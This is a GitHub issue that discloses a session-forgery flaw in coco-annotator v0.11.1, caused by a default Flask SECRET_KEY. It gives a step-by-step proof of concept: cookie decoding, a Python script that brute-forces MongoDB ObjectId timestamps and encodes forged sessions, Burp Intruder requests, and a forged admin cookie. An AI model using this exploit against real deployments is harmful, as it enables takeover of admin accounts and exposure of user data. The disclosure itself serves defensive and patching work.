Skip to content

Default SECRET_KEY can lead to arbitrary session forgery #626

Open
@gaogaostone

Description

@gaogaostone

The coco-annotator project has a default SECRET_KEY, which is used for signing and verifying Flask sessions. If the system administrator does not change the SECRET_KEY when configuring the system, it can lead to arbitrary session forgery by any user and gain administrative privileges.

Affected versions:
v0.11.1

Proof of concept

Step 1: Open http://x.x.x.x:5000/#/auth. Click on the "register" option.Enter the required information to register a new user(such as, coco/123456). If the account already exists, skip the registration and proceed to step 2 directly.

Step2: Log into the system and get the Set-Cookie header in the response. Here is a example.
image

Step 3: use the tool flask-session-cookie-manager( https://github.com/noraj/flask-session-cookie-manager) to decode the session and analyze the format of the session.
python3 flask_session_cookie_manager3.py decode -c ".eJwlzksOwjAMANG7eN2FP3HqcBkUx7Zg29IV4u4gcYB5mjfc68jzAbfXceUG92fADcJ8YR_NV9ooMzd0b-xYTL6KkoJkZ95thGHXkDYJp-Dk4WKFg6dniRrlsr4n1QxF8sQMsmLzNijFpnfkkvmLjKb70sayAja4zjz-M73_mJI2VJYqIroKSWf4fAE3ojSz.Zlgfkg.APoV6-pcsJ68eOGMsIiHF4OdOYk"
The decode result of session is as following:
b'{"_fresh":true,"_id":"d8bc0694bce89f88b80bb42b0f21bcf1e1d13722789d8065d34a10a30a29b38f092abef3581ec867e1fad501be0ed18f28b491e38ab602f3ab3881abbc5423cd","user_id":"66581f34953c55000b531362"}'

Step 4: analyze the factors of user_id. The user_id is auto generated by mongodb, aka ObjectId. The rules of ObjectId can find on https://www.cnblogs.com/btgyoyo/p/7156589.html.
ObjectId is a 12-byte BSON type string. In byte order, it represents the following:
4 bytes: UNIX timestamp
3 bytes: Identifies the machine running MongoDB(fixed)
2 bytes: Represents the process that generated this _id(fixed, if no restarting)
3 bytes: A incrementing counter value starting from a random number. (can be calculated with new register user’s id and user counts)

Now, only the 4 bytes UNIX timestamp need be guessed. There is no need to guess from 1970, we can guess from now. The brute-force range for a day is 246060=86400. The brute-force range for a year is 3652460*60=31536000.
Thus, we can forge the session and become anyone(of course, I want to be administrator).

Step 5: send the following request and get the counts of the system users.

GET /api/info/ HTTP/1.1
Host: x.x.x.x:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://x.x.x.x:5000/
Content-Length: 2

image

Step 6: By brute-forcing the user_id, one can forge a session. In coco-annotator, the first registered user is a super administrator. Based on the rule that last three bytes of user_id is a continuous counter, the last three bytes of the super administrator's user_id are 0x531362-4+1=0x53135f. If the default machine code and process remain unchanged, the last eight bytes of the super administrator's user_id are 953c55000b53135f. Then, by estimating the system's deployment time range, one can brute-force and generate a forged session. After testing, the id field in the session is meaningless and can be freely modified. The script for brute-forcing and generating the session is as follows:

# coding=utf-8
import time
import datetime
import subprocess

def call_script_and_write_output(user_id, output_file):
    try:
        # Construct the command with script name and arguments
        command = "python3 flask_session_cookie_manager3.py encode -s \"RandomSecretKeyHere\"  -t '{\"_fresh\":True,\"_id\":\"e5fc7a54a73246c3b956026a87e4687d6daca473c28d0719269540d604cbd7fc61e910b12ebc84477fb7b8d76c7bbccf64ad1a852ad1bf80e7bac4b2174aba5f\",\"user_id\":\"%s\"}'" % user_id
	# Call the script and capture the output
        print(command)
        result = subprocess.getoutput(command)
        print(result)

        # Write the output to the file
        with open(output_file, 'a+') as file:
            file.write(result)
            file.write("\n")

        print(f"Output written to {output_file}")
    except Exception as e:
        print(f"An error occurred: {e}")

# 示例时间,可以根据需要修改
d_start = datetime.datetime(2024, 5, 29, 14, 30, 0)
d_end = datetime.datetime(2024, 5, 29, 15, 00, 0)
timestamp_start = int(time.mktime(d_start.timetuple()))
timestamp_end = int(time.mktime(d_end.timetuple()))

print(f"时间 {d_start} 转化为16进制时间戳为 {hex(timestamp_start)}")
print(f"时间 {d_end} 转化为16进制时间戳为 {hex(timestamp_end)}")

ss = "953c55000b53135f"
#for item in range(0x6656cc28, 0x6656cc29):
#for item in range(timestamp_start, timestamp_start+1):
for item in range(timestamp_start, timestamp_end):
    user_id = hex(item)[2:] + ss
    print(user_id)
    call_script_and_write_output(user_id, "/Users/stone/sessions.txt")

Step 7: place the sessions in Intruder module of Burpsuite and brute-force the following request. The URL encoding must be disabled for session. When it response with status 200, it is the right forged session.

GET /api/undo/list/?limit=50&type=all HTTP/1.1
Host: x.x.x.x:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://x.x.x.x:5000/
Content-Length: 2
Cookie: session=§a§

image

Step 8: send following request with forged session to check whether I am administrator. This interface can only be accessed by administrator. It response with all user’s information and I am administrator.

GET /api/admin/users?limit=52 HTTP/1.1
Host: x.x.x.x:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://x.x.x.x:5000/
Cookie: session=.eJwljjkOwjAQAP_iOsXa3sPOZ9BeFrQJqRB_JxLVNCPNfMpjHXk-y_4-rtzK4xVlL0nLRQlVekP2bpMYGuuQRB4SHOqK0r2NAKmz8SSEYEC3kOVcc1aw2tJ8IIosExsh7GLmvhg1qg5qN2wNSDF1tFYF1ZRW2cp15vGfYSb2uzSpOxEAGPXab-n7AyAQNWI.Zlg4qQ.7z6H7om53jMdLVSmmk4DPBLfOJY

image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions